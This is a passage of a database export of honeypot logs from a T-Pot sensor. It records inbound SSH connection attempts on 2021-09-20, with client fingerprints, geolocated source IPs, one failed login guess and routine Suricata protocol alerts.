36577	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 15:16:05.04547+03	2021-09-20 15:30:02.456867+03	{"_id": "1gYiA3wBvYTbRNuEg2MD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c4c11c3e9e26", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:16:05.045470Z", "@timestamp": "2021-09-20T12:16:05.045Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	US
36578	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 15:15:58.178444+03	2021-09-20 15:30:02.457868+03	{"_id": "vAYiA3wBvYTbRNuEZ2Oo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "a1c3f93a17a9", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:15:58.178444Z", "@timestamp": "2021-09-20T12:15:58.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	ID
36579	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:15:58.365471+03	2021-09-20 15:30:02.459867+03	{"_id": "uwYiA3wBvYTbRNuEZ2Oo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "dcbb570deb7c", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:15:58.365471Z", "@timestamp": "2021-09-20T12:15:58.365Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	DE
36580	46.101.115.211	109.199.241.180	Suricata	2021-09-20 15:15:58.399633+03	2021-09-20 15:30:02.460867+03	{"_id": "wwYiA3wBvYTbRNuEaGOx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "flow_id": 1224763535917226, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46828, "dest_port": 22, "timestamp": "2021-09-20T12:15:58.399633Z", "@timestamp": "2021-09-20T12:15:58.399Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	DE
36581	110.137.195.172	109.199.241.180	Fatt	2021-09-20 15:15:58.408214+03	2021-09-20 15:30:02.461866+03	{"_id": "xQYiA3wBvYTbRNuEaWO1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "src_ip": "110.137.195.172", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 22410, "dest_port": 22, "timestamp": "2021-09-20T12:15:58.408214", "@timestamp": "2021-09-20T12:15:58.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	ID
36582	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:15:59.681267+03	2021-09-20 15:30:02.46387+03	{"_id": "yAYiA3wBvYTbRNuEa2OQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "dcbb570deb7c", "@version": "1", "duration": 1.3161368370056152, "timestamp": "2021-09-20T12:15:59.681267Z", "@timestamp": "2021-09-20T12:15:59.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	DE
36583	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:15:47.813383+03	2021-09-20 15:30:02.464869+03	{"_id": "lwYiA3wBvYTbRNuEPWO0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:15:47.813383Z", "@timestamp": "2021-09-20T12:15:47.813Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36584	107.0.200.227	109.199.241.180	Suricata	2021-09-20 15:15:48.948383+03	2021-09-20 15:30:02.465869+03	{"_id": "mAYiA3wBvYTbRNuEQWOd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "flow_id": 396642301010697, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53276, "dest_port": 22, "timestamp": "2021-09-20T12:15:48.948383Z", "@timestamp": "2021-09-20T12:15:48.948Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
36585	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:15:48.813699+03	2021-09-20 15:30:02.466867+03	{"_id": "oQYiA3wBvYTbRNuERGN6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.0.200.227:53276 (192.168.176.2:22) [session: ba05e69b848f]", "session": "ba05e69b848f", "@version": "1", "protocol": "ssh", "src_port": 53276, "dest_port": 22, "timestamp": "2021-09-20T12:15:48.813699Z", "@timestamp": "2021-09-20T12:15:48.813Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
36586	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:15:48.950298+03	2021-09-20 15:30:02.468868+03	{"_id": "owYiA3wBvYTbRNuERGN7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ba05e69b848f", "@version": "1", "timestamp": "2021-09-20T12:15:48.950298Z", "@timestamp": "2021-09-20T12:15:48.950Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	US
36587	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:15:49.576258+03	2021-09-20 15:30:02.469869+03	{"_id": "pAYiA3wBvYTbRNuERGN7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.login.failed", "message": "login attempt [melanie/melanie] failed", "session": "ba05e69b848f", "@version": "1", "password": "melanie", "username": "melanie", "timestamp": "2021-09-20T12:15:49.576258Z", "@timestamp": "2021-09-20T12:15:49.576Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	US
36588	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:15:50.712924+03	2021-09-20 15:30:02.471867+03	{"_id": "pQYiA3wBvYTbRNuESGNj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "ba05e69b848f", "@version": "1", "duration": 1.8965427875518799, "timestamp": "2021-09-20T12:15:50.712924Z", "@timestamp": "2021-09-20T12:15:50.712Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	US
36589	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:15:51.821795+03	2021-09-20 15:30:02.472867+03	{"_id": "pwYiA3wBvYTbRNuETWNW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:15:51.821795Z", "@timestamp": "2021-09-20T12:15:51.821Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36590	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:15:53.325351+03	2021-09-20 15:30:02.474868+03	{"_id": "qQYiA3wBvYTbRNuEVWMn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:15:53.325351Z", "@timestamp": "2021-09-20T12:15:53.325Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36591	157.240.234.35	109.199.241.180	Suricata	2021-09-20 15:16:12.376826+03	2021-09-20 15:30:02.475867+03	{"_id": "6QYiA3wBvYTbRNuEn2Np", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:12.346443+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1418279730825547, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 38026, "timestamp": "2021-09-20T12:16:12.376826Z", "@timestamp": "2021-09-20T12:16:12.376Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36592	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:16:13.726031+03	2021-09-20 15:30:02.477868+03	{"_id": "8AYiA3wBvYTbRNuEomNH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "24fb7303b66c", "@version": "1", "timestamp": "2021-09-20T12:16:13.726031Z", "@timestamp": "2021-09-20T12:16:13.726Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36593	113.87.161.152	109.199.241.180	Suricata	2021-09-20 15:16:13.725333+03	2021-09-20 15:30:02.479869+03	{"_id": "8wYiA3wBvYTbRNuEo2NR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "flow_id": 2188483331193412, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2328, "dest_port": 22, "timestamp": "2021-09-20T12:16:13.725333Z", "@timestamp": "2021-09-20T12:16:13.725Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36594	113.87.161.152	109.199.241.180	Fatt	2021-09-20 15:16:13.725429+03	2021-09-20 15:30:02.480868+03	{"_id": "9QYiA3wBvYTbRNuEpGNU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2328, "dest_port": 22, "timestamp": "2021-09-20T12:16:13.725429", "@timestamp": "2021-09-20T12:16:13.725Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": 